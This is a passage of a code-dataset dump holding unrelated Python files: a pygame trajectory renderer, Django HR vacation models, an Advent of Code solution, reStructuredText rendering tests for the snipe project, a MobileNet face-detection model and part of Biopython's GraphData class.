= get_rgb(\"Dark Turquoise\")\n\n hcolor_predtraj_ov = get_rgb(\"Red\")\n\n traj_array_ev = [] if traj_array_ev is None else traj_array_ev\n costtraj_array_ev = [] if costtraj_array_ev is None else costtraj_array_ev\n inv_idxtraj_array_ev = [] if inv_idxtraj_array_ev is None else inv_idxtraj_array_ev\n\n predtraj_ov = [] if predtraj_ov is None else predtraj_ov\n\n # Draw other-vehicle\n self.draw_vehicle_fill(data_ov_cur, id_near, hcolor_fill_ovsel, op=0.9)\n\n # Draw trajectories (other-vehicle)\n if len(traj_ov_near) > 0:\n self.draw_trajs(traj_ov_near, 2, hcolor_traj_ov)\n self.draw_vehicle_fill_trajs_cgad(traj_ov_near, size_ov_near, 2, hcolor_fill_ovsel, hcolor_fill_rest, op=0.75)\n self.draw_vehicle_border_trajs(traj_ov_near, size_ov_near, 2, 1.5, hcolor_traj_ov, op=0.8)\n\n if len(predtraj_ov) > 0:\n for nidx_n in range(0, len(id_near)):\n if id_near[nidx_n] != -1:\n predtraj_ov_sel = predtraj_ov[nidx_n]\n size_ov_gt_sel = size_ov_gt[nidx_n]\n self.draw_vehicle_border_traj(predtraj_ov_sel, size_ov_gt_sel[0], size_ov_gt_sel[1], 2,\n 1.5, hcolor_predtraj_ov, op=1.0)\n self.draw_traj(predtraj_ov_sel, 2.0, hcolor_predtraj_ov, op=1.0)\n\n # Draw traj-hist (ego-vehicle)\n if len(traj_hist_ev) > 0:\n self.draw_traj(traj_hist_ev, 2.2, hcolor_hist_traj_ev)\n\n # Draw arrows (other-vehicle)\n self.draw_vehicle_arrow(data_ov_cur, id_near, 20, hcolor_arrow_sel, op=1.0)\n self.draw_vehicle_arrow(data_ov_cur, id_rest, 20, hcolor_arrow_rest, op=1.0)\n\n # Draw trajectories (ego-vehicle)\n if len(traj_ev) > 0:\n self.draw_vehicle_fill_traj_cgad(traj_ev, data_ev_cur[6], data_ev_cur[5], 2, hcolor_fill_ev,\n hcolor_fill_rest, op=0.75)\n\n if len(traj_array_ev) > 0 and len(costtraj_array_ev) > 0:\n self.draw_trajs_w_cost(traj_array_ev, costtraj_array_ev, inv_idxtraj_array_ev, 0, 2.0,\n hcolor_map=hcolor_map_ev, op=0.8, hcolor_reverse=hcolor_reverse_ev)\n\n if len(traj_ev) > 0:\n self.draw_vehicle_border_traj(traj_ev, data_ev_cur[6], data_ev_cur[5], 2, 2.5, hcolor_border_traj_ev,\n op=1.0)\n self.draw_traj(traj_ev, 2.0, hcolor_traj_ev, op=1.0)\n # traj_sel_ev_ = interpolate_traj(traj_sel_ev, alpha=3)\n # self.draw_traj_dashed(traj_sel_ev_, 2.3, hcolor_traj_ev)\n\n # Draw ego-vehicle\n self.draw_target_vehicle_fill(data_ev_cur[1], data_ev_cur[2], data_ev_cur[3], data_ev_cur[6], data_ev_cur[5],\n hcolor_fill_ev, op=0.9)\n self.draw_target_vehicle_arrow(data_ev_cur[1], data_ev_cur[2], data_ev_cur[3], data_ev_cur[6],\n data_ev_cur[5], data_ev_cur[4], v_arrow, hcolor_arrow_sel)\n\n # Draw borders\n self.draw_vehicle_border(data_ov_cur, id_near, 2.0, hcolor_border_ovsel, op=1)\n self.draw_vehicle_border(data_ov_cur, id_rest, 2.0, hcolor_border_ovrest, op=1)\n self.draw_vehicle_border(data_ev_cur, [id_ev], 3.0, hcolor_border_ev, op=1)\n\n # -----------------------------------------------------------------------------------------------------------------#\n # UPDATE-SCREEN (DISPLAY) -----------------------------------------------------------------------------------------#\n # -----------------------------------------------------------------------------------------------------------------#\n def display(self):\n \"\"\" Display screen. \"\"\"\n # Get data surface\n data_surface = self.bgra_surf_to_rgba_string()\n\n # Create pygame surface\n pygame_surface = pygame.image.frombuffer(data_surface, (self.screen_size[0], self.screen_size[1]), 'RGBA')\n\n # Show pygame surface\n self.pygame_screen.blit(pygame_surface, (0, 0))\n pygame.display.flip()\n\n # Limit frame-rate (frames per second)\n self.clock.tick(self.clock_rate)\n","sub_path":"core/SimScreen.py","file_name":"SimScreen.py","file_ext":"py","file_size_in_byte":63297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"283459172","text":"\"\"\" import modules \"\"\"\nfrom django.contrib.auth.models import AbstractUser\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass User(AbstractUser):\n\n \"\"\" User Model \"\"\"\n\n POSITION_CHOICES = (\n ('ceo', '대표이사'),\n ('generalmanager', '부장'),\n ('teamleader', '팀장'),\n ('manager', '과장'),\n ('assistantmanager', '대리'),\n ('staff', '사원'),\n ('intern', '인턴'),\n )\n\n DEPARTMENT_CHOICES = (\n ('management', '경영'),\n ('marketing', '마케팅'),\n ('planning', '기획'),\n ('design1', '디자인1팀'),\n ('design2', '디자인2팀'),\n ('newsro', '뉴스로'),\n )\n\n # First Name and Last Name do not cover name patterns\n # around the globe.\n name = models.CharField(_(\"Name of User\"), blank=True, max_length=255)\n position = models.CharField(blank=True, null=True, max_length=255, choices=POSITION_CHOICES)\n department = models.CharField(blank=True, null=True, max_length=255, choices=DEPARTMENT_CHOICES)\n mobilephone = models.CharField(blank=True, null=True, max_length=255)\n companyphone = models.CharField(blank=True, null=True, max_length=255)\n\n def get_absolute_url(self):\n return reverse(\"users:detail\", kwargs={\"username\": self.username})\n\n def __str__(self):\n return self.name\n\n\nclass TotalVacationDay(models.Model):\n\n \"\"\" User Vacation Per Year \"\"\"\n\n user = models.ForeignKey(User, blank=True, null=True, on_delete=models.CASCADE, related_name='vacation_year')\n year = models.IntegerField(default=0)\n year_total = models.IntegerField(default=0)\n\n\nclass Vacation(models.Model):\n\n \"\"\" Vaction Apply Model \"\"\"\n\n user = models.ForeignKey(User, blank=True, null=True, on_delete=models.CASCADE, related_name='vacation_apply')\n year = models.IntegerField(default=0)\n start_day = models.CharField(blank=True, null=True, max_length=150)\n end_day = models.CharField(blank=True, null=True, max_length=150)\n period = models.IntegerField(default=0)\n description = models.CharField(blank=True, null=True, max_length=150)\n teamleader_approved = models.NullBooleanField(default=False)\n ceo_approved = models.NullBooleanField(default=False)\n\n class Meta:\n ordering = ['-year', '-start_day']\n","sub_path":"hanmediagroup/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"195078550","text":"import itertools\n\n\ndef part_1(data):\n for i, j in itertools.combinations(map(int, data), 2):\n if i + j == 2020:\n return i * j\n\n\ndef part_2(data):\n for i, j, k in itertools.combinations(map(int, data), 3):\n if i + j + k == 2020:\n return i * j * k\n\n\nif __name__ == '__main__':\n with open('day_01_input.txt', 'r') as f:\n inp = f.readlines()\n print(\"Part 1 answer: \" + str(part_1(inp)))\n print(\"Part 2 answer: \" + str(part_2(inp)))\n","sub_path":"day_01_report_repair.py","file_name":"day_01_report_repair.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"270861075","text":"#!/usr/bin/python3\n# -*- encoding: utf-8 -*-\n# Copyright © 2016 the Snipe Contributors\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n# CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n# TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF\n# THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n# SUCH DAMAGE.\n\n'''\nUnit tests for the doc munching stuff in the text module\n'''\n\n\nimport docutils.core\nimport sys\nimport unittest\n\nsys.path.append('..')\n\nimport snipe.text as text\n\n\nTEXT='''\n=============\na Title\n=============\n\nHere is some text. Here is some more text. Blah blah blah. Foo. Bar. Flarb.\n(The previous should get wrapped if everything is good.)\n\nOne.\nTwo.\nThree.\n(The above shold end up on one line.)\n\nmyslack.slack.com). You\nadd ``.slack name=myname`` to the ``backends`` configuration variable (which is\n``;`` separated), and get an api key from ``https://api.slack.com/web`` and put\nit in ``~/.snipe/netrc`` like so: ::\n\n machine myslack.slack.com login myself@example.com password frob-9782504613-8396512704-9784365210-7960cf\n\n\n(You need to have already signed up for the relevant slack instance by other\nmeans.)\n\nLorem ipsum dolor sit amet, consecteturadipiscingelit,seddoeiusmodtemporincididuntutlaboreetdoloremagnaaliqua.Utenimadminimveniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n'''\n\nTEXT_rendered=[(0, [((), ''), (('bold',), 'a Title'), ((), '\\n')]),\n (8, [((), '\\n')]),\n (9,\n [((),\n 'Here is some text. Here is some more text. Blah blah blah. Foo.\\n')]),\n (76,\n [((),\n 'Bar. Flarb. (The previous should get wrapped if everything is '\n 'good.)\\n')]),\n (146, [((), '\\n')]),\n (147, [((), 'One. Two. Three. (The above shold end up on one line.)\\n')]),\n (202, [((), '\\n')]),\n (203,\n [((), 'myslack.slack.com). You add '),\n (('bold',), '.slack name=myname'),\n ((), ' to the '),\n (('bold',), 'backends'),\n ((), '\\n')]),\n (267,\n [((), 'configuration variable (which is'),\n (('bold',), ';'),\n ((), ' separated), and get an api key from '),\n (('bold',), '\\n')]),\n (338,\n [(('bold',), 'https://api.slack.com/web'),\n ((), ' and put it in '),\n (('bold',), '~/.snipe/netrc'),\n ((), ' like so:\\n')]),\n (402, [((), '\\n')]),\n (403,\n [(('bold',),\n 'machine myslack.slack.com login myself@example.com password '\n 'frob-9782504613-8396512704-9784365210-7960cf'),\n ((), '\\n')]),\n (508, [((), '\\n')]),\n (509,\n [((),\n '(You need to have already signed up for the relevant slack instance '\n 'by\\n')]),\n (580, [((), 'other means.)\\n')]),\n (594, [((), '\\n')]),\n (595, [((), 'Lorem ipsum dolor sit amet,\\n')]),\n (623,\n [((),\n 'consecteturadipiscingelit,seddoeiusmodtemporincididuntutlaboreetdoloremagnaaliqua.Utenimadminimveniam,\\n')]),\n (726,\n [((),\n 'quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea '\n 'commodo\\n')]),\n (798, [((), 'consequat.\\n')]),\n (809, [((), '\\n')])]\n\nclass TestRendering(unittest.TestCase):\n def test_RSTRenderer(self):\n _, pub = docutils.core.publish_programmatically(\n docutils.io.StringInput, TEXT, None, docutils.io.NullOutput,\n None, None, None, 'standalone', None, 'restructuredtext', None,\n 'null', None, None, {}, None, None)\n\n renderer = text.RSTRenderer()\n renderer.process(pub.writer.document)\n\n import logging\n logging.debug('%s', repr(renderer.output))\n logging.debug('\\n%s', renderer.flat())\n\n self.assertEqual(TEXT_rendered, renderer.output)\n\n def test_markdown_to_chunk(self):\n self.assertEquals([((), 'some text\\n')], text.markdown_to_chunk('some text'))\n\n# So I can cut and paste it into test:\n# Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n","sub_path":"tests/text_tests.py","file_name":"text_tests.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"369746789","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torchvision.models._utils as _utils\r\nimport torchvision.models as models\r\nimport math\r\n\r\n\r\ndef _make_divisible(v, divisor, min_value=None):\r\n if min_value is None:\r\n min_value = divisor\r\n new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\r\n # Make sure that round down does not go down by more than 10%.\r\n if new_v < 0.9 * v:\r\n new_v += divisor\r\n return new_v\r\n\r\n\r\nclass ConvBNReLU(nn.Sequential):\r\n def __init__(self, in_planes, out_planes, kernel_size=3, stride=1, groups=1):\r\n padding = (kernel_size - 1) // 2\r\n super(ConvBNReLU, self).__init__(\r\n nn.Conv2d(in_planes, out_planes, kernel_size, stride, padding, groups=groups, bias=False),\r\n nn.BatchNorm2d(out_planes),\r\n nn.ReLU(inplace=True)\r\n )\r\n\r\n\r\nclass InvertedResidual(nn.Module):\r\n def __init__(self, inp, oup, stride, expand_ratio):\r\n super(InvertedResidual, self).__init__()\r\n self.stride = stride\r\n assert stride in [1, 2]\r\n\r\n hidden_dim = int(round(inp * expand_ratio))\r\n self.use_res_connect = self.stride == 1 and inp == oup\r\n\r\n layers = []\r\n if expand_ratio != 1:\r\n # pw\r\n layers.append(ConvBNReLU(inp, hidden_dim, kernel_size=1))\r\n layers.extend([\r\n # dw\r\n ConvBNReLU(hidden_dim, hidden_dim, stride=stride, groups=hidden_dim),\r\n # pw-linear\r\n nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False),\r\n nn.BatchNorm2d(oup),\r\n ])\r\n self.conv = nn.Sequential(*layers)\r\n\r\n def forward(self, x):\r\n if self.use_res_connect:\r\n return x + self.conv(x)\r\n else:\r\n return self.conv(x)\r\n\r\n\r\nclass MobileNetV2(nn.Module):\r\n def __init__(self, num_classes=1000, width_mult=1.0, inverted_residual_setting=None, round_nearest=8):\r\n super(MobileNetV2, self).__init__()\r\n block = InvertedResidual\r\n input_channel = 32\r\n last_channel = 1280\r\n\r\n if inverted_residual_setting is None:\r\n inverted_residual_setting = [\r\n # t, c, n, s\r\n [1, 16, 1, 1],\r\n [6, 24, 2, 2],\r\n [6, 32, 3, 2],\r\n [6, 64, 4, 2],\r\n [6, 96, 3, 1],\r\n [6, 160, 3, 2],\r\n [6, 320, 1, 1],\r\n ]\r\n\r\n # only check the first element, assuming user knows t,c,n,s are required\r\n if len(inverted_residual_setting) == 0 or len(inverted_residual_setting[0]) != 4:\r\n raise ValueError(\"inverted_residual_setting should be non-empty \"\r\n \"or a 4-element list, got {}\".format(inverted_residual_setting))\r\n\r\n # building first layer\r\n input_channel = _make_divisible(input_channel * width_mult, round_nearest)\r\n self.last_channel = _make_divisible(last_channel * max(1.0, width_mult), round_nearest)\r\n features = [ConvBNReLU(3, input_channel, stride=2)]\r\n # building inverted residual blocks\r\n for t, c, n, s in inverted_residual_setting:\r\n output_channel = _make_divisible(c * width_mult, round_nearest)\r\n for i in range(n):\r\n stride = s if i == 0 else 1\r\n features.append(block(input_channel, output_channel, stride, expand_ratio=t))\r\n input_channel = output_channel\r\n # building last several layers\r\n features.append(ConvBNReLU(input_channel, self.last_channel, kernel_size=1))\r\n # make it nn.Sequential\r\n self.features = nn.Sequential(*features)\r\n\r\n # building classifier\r\n self.classifier = nn.Sequential(\r\n nn.Dropout(0.2),\r\n nn.Linear(self.last_channel, num_classes),\r\n )\r\n\r\n # weight initialization\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n nn.init.kaiming_normal_(m.weight, mode='fan_out')\r\n if m.bias is not None:\r\n nn.init.zeros_(m.bias)\r\n elif isinstance(m, nn.BatchNorm2d):\r\n nn.init.ones_(m.weight)\r\n nn.init.zeros_(m.bias)\r\n elif isinstance(m, nn.Linear):\r\n nn.init.normal_(m.weight, 0, 0.01)\r\n nn.init.zeros_(m.bias)\r\n\r\n def forward(self, x):\r\n x = self.features(x)\r\n x = x.mean([2, 3])\r\n x = self.classifier(x)\r\n return x\r\n\r\n\r\ndef conv_bn(inp, oup, stride = 1):\r\n return nn.Sequential(\r\n nn.Conv2d(inp, oup, 3, stride, 1, bias=False),\r\n nn.BatchNorm2d(oup),\r\n nn.ReLU(inplace=True)\r\n )\r\n\r\ndef conv_bn_no_relu(inp, oup, stride):\r\n return nn.Sequential(\r\n nn.Conv2d(inp, oup, 3, stride, 1, bias=False),\r\n nn.BatchNorm2d(oup),\r\n )\r\n\r\ndef conv_bn1X1(inp, oup, stride):\r\n return nn.Sequential(\r\n nn.Conv2d(inp, oup, 1, stride, padding=0, bias=False),\r\n nn.BatchNorm2d(oup),\r\n nn.ReLU(inplace=True)\r\n )\r\n\r\n\r\nclass FPN(nn.Module):\r\n def __init__(self, in_channels_list, out_channels, in_size):\r\n super(FPN,self).__init__()\r\n self.output1 = conv_bn1X1(in_channels_list[0], out_channels, stride = 1)\r\n self.output2 = conv_bn1X1(in_channels_list[1], out_channels, stride = 1)\r\n self.output3 = conv_bn1X1(in_channels_list[2], out_channels, stride = 1)\r\n self.output4 = conv_bn1X1(in_channels_list[3], out_channels, stride = 1)\r\n\r\n self.merge1 = conv_bn(out_channels, out_channels)\r\n self.merge2 = conv_bn(out_channels, out_channels)\r\n self.merge3 = conv_bn(out_channels, out_channels)\r\n\r\n self.in_size = in_size\r\n\r\n\r\n def forward(self, input):\r\n output1 = self.output1(input[0])\r\n output2 = self.output2(input[1])\r\n output3 = self.output3(input[2])\r\n output4 = self.output4(input[3])\r\n\r\n\r\n up4 = F.interpolate(output4, size=[i//16 for i in self.in_size], mode=\"nearest\")\r\n output3 = output3 + up4\r\n output3 = self.merge3(output3)\r\n\r\n up3 = F.interpolate(output3, size=[i//8 for i in self.in_size], mode=\"nearest\")\r\n output2 = output2 + up3\r\n output2 = self.merge2(output2)\r\n\r\n up2 = F.interpolate(output2, size=[i//4 for i in self.in_size], mode=\"nearest\")\r\n output1 = output1 + up2\r\n output1 = self.merge1(output1)\r\n return output1, output2, output3, output4\r\n\r\n\r\nclass SSH(nn.Module):\r\n def __init__(self, in_channel, out_channel):\r\n super(SSH, self).__init__()\r\n assert out_channel % 4 == 0\r\n self.conv3X3 = conv_bn_no_relu(in_channel, out_channel//2, stride=1)\r\n\r\n self.conv5X5_1 = conv_bn(in_channel, out_channel//4, stride=1)\r\n self.conv5X5_2 = conv_bn_no_relu(out_channel//4, out_channel//4, stride=1)\r\n\r\n self.conv7X7_2 = conv_bn(out_channel//4, out_channel//4, stride=1)\r\n self.conv7x7_3 = conv_bn_no_relu(out_channel//4, out_channel//4, stride=1)\r\n\r\n def forward(self, input):\r\n conv3X3 = self.conv3X3(input)\r\n\r\n conv5X5_1 = self.conv5X5_1(input)\r\n conv5X5 = self.conv5X5_2(conv5X5_1)\r\n\r\n conv7X7_2 = self.conv7X7_2(conv5X5_1)\r\n conv7X7 = self.conv7x7_3(conv7X7_2)\r\n\r\n out = torch.cat([conv3X3, conv5X5, conv7X7], dim=1)\r\n out = F.relu(out)\r\n return out\r\n\r\n\r\nclass ASFF(nn.Module):\r\n def __init__(self, in_channel, out_channel, in_size):\r\n super(ASFF, self).__init__()\r\n self.compress_level_0 = ConvBNReLU(in_channel, in_channel, 1, 1)\r\n self.expand = ConvBNReLU(in_channel, out_channel, 3, 1)\r\n compress_c = 8\r\n self.weight_level_0 = ConvBNReLU(in_channel, compress_c, 1, 1)\r\n self.weight_level_1 = ConvBNReLU(in_channel, compress_c, 1, 1)\r\n self.weight_level_2 = ConvBNReLU(in_channel, compress_c, 1, 1)\r\n self.weight_level_3 = ConvBNReLU(in_channel, compress_c, 1, 1)\r\n self.weight_levels = nn.Conv2d(compress_c*4, 4, kernel_size=1, stride=1, padding=0)\r\n self.in_size = in_size\r\n\r\n\r\n def forward(self, x_level_0, x_level_1, x_level_2, x_level_3):\r\n level_0_compressed = self.compress_level_0(x_level_0)\r\n level_0_resized =F.interpolate(level_0_compressed, size=[i//4 for i in self.in_size], mode='nearest')\r\n level_1_resized =F.interpolate(x_level_1, size=[i//4 for i in self.in_size], mode='nearest')\r\n level_2_resized =F.interpolate(x_level_2, size=[i//4 for i in self.in_size], mode='nearest')\r\n\r\n\r\n level_3_resized =x_level_3\r\n\r\n level_0_weight_v = self.weight_level_0(level_0_resized)\r\n level_1_weight_v = self.weight_level_1(level_1_resized)\r\n level_2_weight_v = self.weight_level_2(level_2_resized)\r\n level_3_weight_v = self.weight_level_3(level_3_resized)\r\n levels_weight_v = torch.cat((level_0_weight_v, level_1_weight_v, level_2_weight_v, level_3_weight_v),1)\r\n levels_weight = self.weight_levels(levels_weight_v)\r\n levels_weight = F.softmax(levels_weight, dim=1)\r\n\r\n fused_out_reduced = level_0_resized * levels_weight[:,0:1,:,:]+\\\r\n level_1_resized * levels_weight[:,1:2,:,:]+\\\r\n level_2_resized * levels_weight[:,2:3,:,:]+\\\r\n level_3_resized * levels_weight[:,3:,:,:]\r\n\r\n out = self.expand(fused_out_reduced)\r\n return out\r\n\r\n\r\nclass MobileNet(nn.Module):\r\n def __init__(self, width_mult=1.0, in_size=(640, 640)):\r\n super(MobileNet, self).__init__()\r\n net = MobileNetV2(width_mult=width_mult)\r\n features = net.features\r\n self.layer1= nn.Sequential(*features[0:4])\r\n self.layer2 = nn.Sequential(*features[4:7])\r\n self.layer3 = nn.Sequential(*features[7:14])\r\n self.layer4 = nn.Sequential(*features[14:18])\r\n fpn_channels = {0.5: [16, 16, 48, 160], 1:[24, 32, 96, 320]}\r\n self.fpn = FPN(fpn_channels[width_mult], 32, in_size)\r\n self.asff = ASFF(32, 32, in_size)\r\n self.ssh = SSH(32, 24)\r\n self.conv_bn = conv_bn(24, 24, 1)\r\n self.head_hm = nn.Conv2d(24, 2, 1)\r\n self.head_tlrb = nn.Conv2d(24, 4, 1)\r\n self.head_hm.bias.data.fill_(-2.19)\r\n\r\n def forward(self, x):\r\n enc0 = self.layer1(x) # 24\r\n enc1 = self.layer2(enc0) # 32\r\n enc2 = self.layer3(enc1) # 96\r\n enc3 = self.layer4(enc2) # 320\r\n out1, out2, out3, out4 = self.fpn([enc0, enc1, enc2, enc3])\r\n out = self.asff(out4, out3, out2, out1)\r\n out = self.ssh(out)\r\n out = self.conv_bn(out)\r\n sigmoid_hm = self.head_hm(out).sigmoid()\r\n tlrb = self.head_tlrb(out).exp()\r\n return {'cls': sigmoid_hm, 'wh': tlrb}\r\n\r\nif __name__ == \"__main__\": \r\n model = MobileNet(width_mult=0.5)\r\n x = torch.randn(2, 3, 640, 640)\r\n out = model(x)\r\n state = {'model': model.state_dict()}\r\n torch.save(state, 'model.pth')\r\n for k, v in out.items():\r\n print(k, v.shape)\r\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"147628521","text":"# Copyright 2003-2008 by Leighton Pritchard. All rights reserved.\n# Revisions copyright 2008-2009 by Peter Cock.\n# This code is part of the Biopython distribution and governed by its\n# license. Please see the LICENSE file that should have been included\n# as part of this package.\n#\n# Contact: Leighton Pritchard, Scottish Crop Research Institute,\n# Invergowrie, Dundee, Scotland, DD2 5DA, UK\n# L.Pritchard@scri.ac.uk\n################################################################################\n\n\"\"\" Graph module\n\n Provides:\n\n o GraphData - Contains data from which a graph will be drawn, and\n information about its presentation\n\n For drawing capabilities, this module uses reportlab to draw and write\n the diagram:\n\n http://www.reportlab.com\n\n For dealing with biological information, the package expects BioPython\n objects:\n\n http://www.biopython.org\n\"\"\"\n\n# ReportLab imports\nfrom reportlab.lib import colors\n\nfrom math import sqrt\n\nclass GraphData(object):\n \"\"\" GraphData\n\n Provides:\n\n Methods:\n\n o __init__(self, id=None, data=None, name=None, style='bar',\n color=colors.lightgreen, altcolor=colors.darkseagreen)\n Called on instantiation\n\n o set_data(self, data) Load the object with data to be plotted\n\n o get_data(self) Returns the data to be plotted as a list of\n (position, value) tuples\n\n o add_point(self, point) Add a single point to the data set\n\n o quartiles(self) Returns a tuple of the data quartiles\n\n o range(self) Returns a tuple of the base range covered by the graph\n data\n\n o mean(self) Returns a float of the mean data point value\n\n o stdev(self) Returns the sample standard deviation of the data values\n\n o __len__(self) Returns the length of sequence covered by the data\n\n o __getitem__(self, index) Returns the value at the base specified,\n or graph data in the base range\n\n o __str__(self) Returns a formatted string describing the graph data\n\n Attributes:\n\n o id Unique identifier for the data\n\n o data Dictionary of describing the data, keyed by position\n\n o name String describing the data\n\n o style String ('bar', 'heat', 'line') describing how to draw the data\n\n o poscolor colors.Color for drawing high (some styles) or all\n values\n\n o negcolor colors.Color for drawing low values (some styles)\n\n o linewidth Int, thickness to draw the line in 'line' styles\n \"\"\"\n def __init__(self, id=None, data=None, name=None, style='bar',\n color=colors.lightgreen, altcolor=colors.darkseagreen,\n center=None, colour=None, altcolour=None, centre=None):\n \"\"\"__init__(self, id=None, data=None, name=None, style='bar',\n color=colors.lightgreen, altcolor=colors.darkseagreen)\n\n o id Unique ID for the graph\n\n o data List of (position, value) tuples\n\n o name String describing the graph\n\n o style String describing the presentation style ('bar', 'line',\n 'heat')\n\n o color colors.Color describing the color to draw all or the\n 'high' (some styles) values (overridden by backwards\n compatible argument with UK spelling, colour).\n\n o altcolor colors.Color describing the color to draw the 'low'\n values (some styles only) (overridden by backwards\n compatible argument with UK spelling, colour).\n\n o center Value at which x-axis crosses y-axis (overridden by\n backwards comparible argument with UK spelling, centre).\n\n \"\"\"\n\n #Let the UK spelling (colour) override the USA spelling (color)\n if colour is not None:\n color = colour\n if altcolour is not None:\n altcolor = altcolour\n if centre is not None:\n center = centre\n\n self.id = id # Unique identifier for the graph\n self.data = {} # holds values, keyed by sequence position\n if data is not None: \n self.set_data(data)\n self.name = name # Descriptive string\n\n # Attributes describing how the graph will be drawn\n self.style = style # One of 'bar', 'heat' or 'line'\n self.poscolor = color # Color to draw all, or 'high' values\n self.negcolor = altcolor # Color to draw 'low' values\n self.linewidth = 2 # linewidth to use in line graphs\n self.center = center # value at which x-axis crosses y-axis\n\n def _set_centre(self, value):\n import warnings\n import Bio\n warnings.warn(\"The _set_centre method and .centre attribute are deprecated; please use the .center attribute instead\", Bio.BiopythonDeprecationWarning)\n self.center = value\n centre = property(fget = lambda self : self.center,\n fset = _set_centre,\n doc=\"Backwards compatible alias for center (DEPRECATED)\")\n\n def set_data(self, data):\n \"\"\" set_data(self, data)\n\n o data List of (position, value) tuples\n\n Add data with a list of (position, value) tuples\n \"\"\"\n for (pos, val) in data: # Fill data dictionary\n self.data[pos] = val\n\n\n def get_data(self):\n \"\"\" get_data(self) -> [(int, float), (int, float), ...]\n\n Return data as a list of sorted (position, value) tuples\n \"\"\"\n data = []\n for xval in self.data.keys():\n yval = self.data[xval] \n data.append((xval, yval))\n data.sort()\n return data\n\n\n def add_point(self, point):\n \"\"\" add_point(self, point)\n\n o point (position, value) tuple\n\n Add a single point to the set of data\n \"\"\"\n pos, val = point\n self.data[pos] = val\n\n\n def quartiles(self):\n \"\"\" quartiles(self) -> (float, float, float, float, float)\n\n Returns the (minimum, lowerQ, medianQ, upperQ, maximum) values as\n a tuple\n \"\"\"\n data = self.data.values()\n data.sort()\n datalen = len(data)\n return(data[0], data[datalen//4], data[datalen//2],\n data[3*datalen//4], data[-1])\n\n\n def range(self):\n \"\"\" range(self) -> (int, int)\n\n Returns the range of the data, i.e. its start and end points on\n the genome as a (start, end) tuple\n \"\"\"\n positions = self.data.keys()\n positions.sort()\n # Return first and last positions in graph\n #print len(self.data)\n return (positions[0], positions[-1]) \n\n\n def mean(self):\n \"\"\" mean(self) -> Float\n\n Returns the mean value for the data points\n \"\"\"\n data = self.data.values()\n sum = 0.\n for item in data:\n sum += float(item)\n return sum/len(data)\n\n\n def stdev(self):\n \"\"\" stdev(self) -> Float\n\n Returns the sample standard deviation for the data\n \"\"\"\n data = self.data.values()\n m = self.mean()\n runtotal = 0.\n for entry in data:\n runtotal += float((entry - m)**2)\n # This is sample standard deviation; population stdev would involve\n # division by len(data), rather than len(data)-1\n return sqrt(runtotal/(len(data)-1))\n \n\n def __len__(self):\n \"\"\" __len__(self) -> Int\n\n Returns the number of points in the data set\n \"\"\"\n return len(self.data)\n\n\n def __getitem__(self, index):\n \"\"\" __getitem__(self, index) -> Float or list of tuples\n\n Given an integer representing position on the sequence\n returns a float - the data value at the passed position.\n\n If a slice, returns graph data from the region as a list or\n (position, value) tuples. Slices with step are not supported.\n\n Returns the data value at the passed position\n \"\"\"\n if isinstance(index, int):\n return self.data[index]\n elif isinstance(index, slice):\n #TODO - Why does it treat the end points both as inclusive?\n #This doesn't match Python norms does it?\n low = index.start\n high = index.stop\n if index.step is not None and index.step != 1:\n raise ValueError\n positions = self.data.keys()\n positions.sort()\n outlist = []\n for pos in positions:\n if pos >= low and pos <=high:\n outlist.append((pos, self.data[pos]))\n return outlist\n else:\n raise TypeError(\"Need an integer or a slice\")\n\n\n def __str__(self):\n \"\"\" __str__(self) -> \"\"\n\n Returns a string describing the graph data\n \"\"\"\n outstr = [\"\\nGraphData: %s, ID: %s\" % (self.name, self.id)]\n outstr.append(\"Number of points: %d\" % len(self.data))\n outstr.append(\"Mean data value: %s\" % self.mean())\n 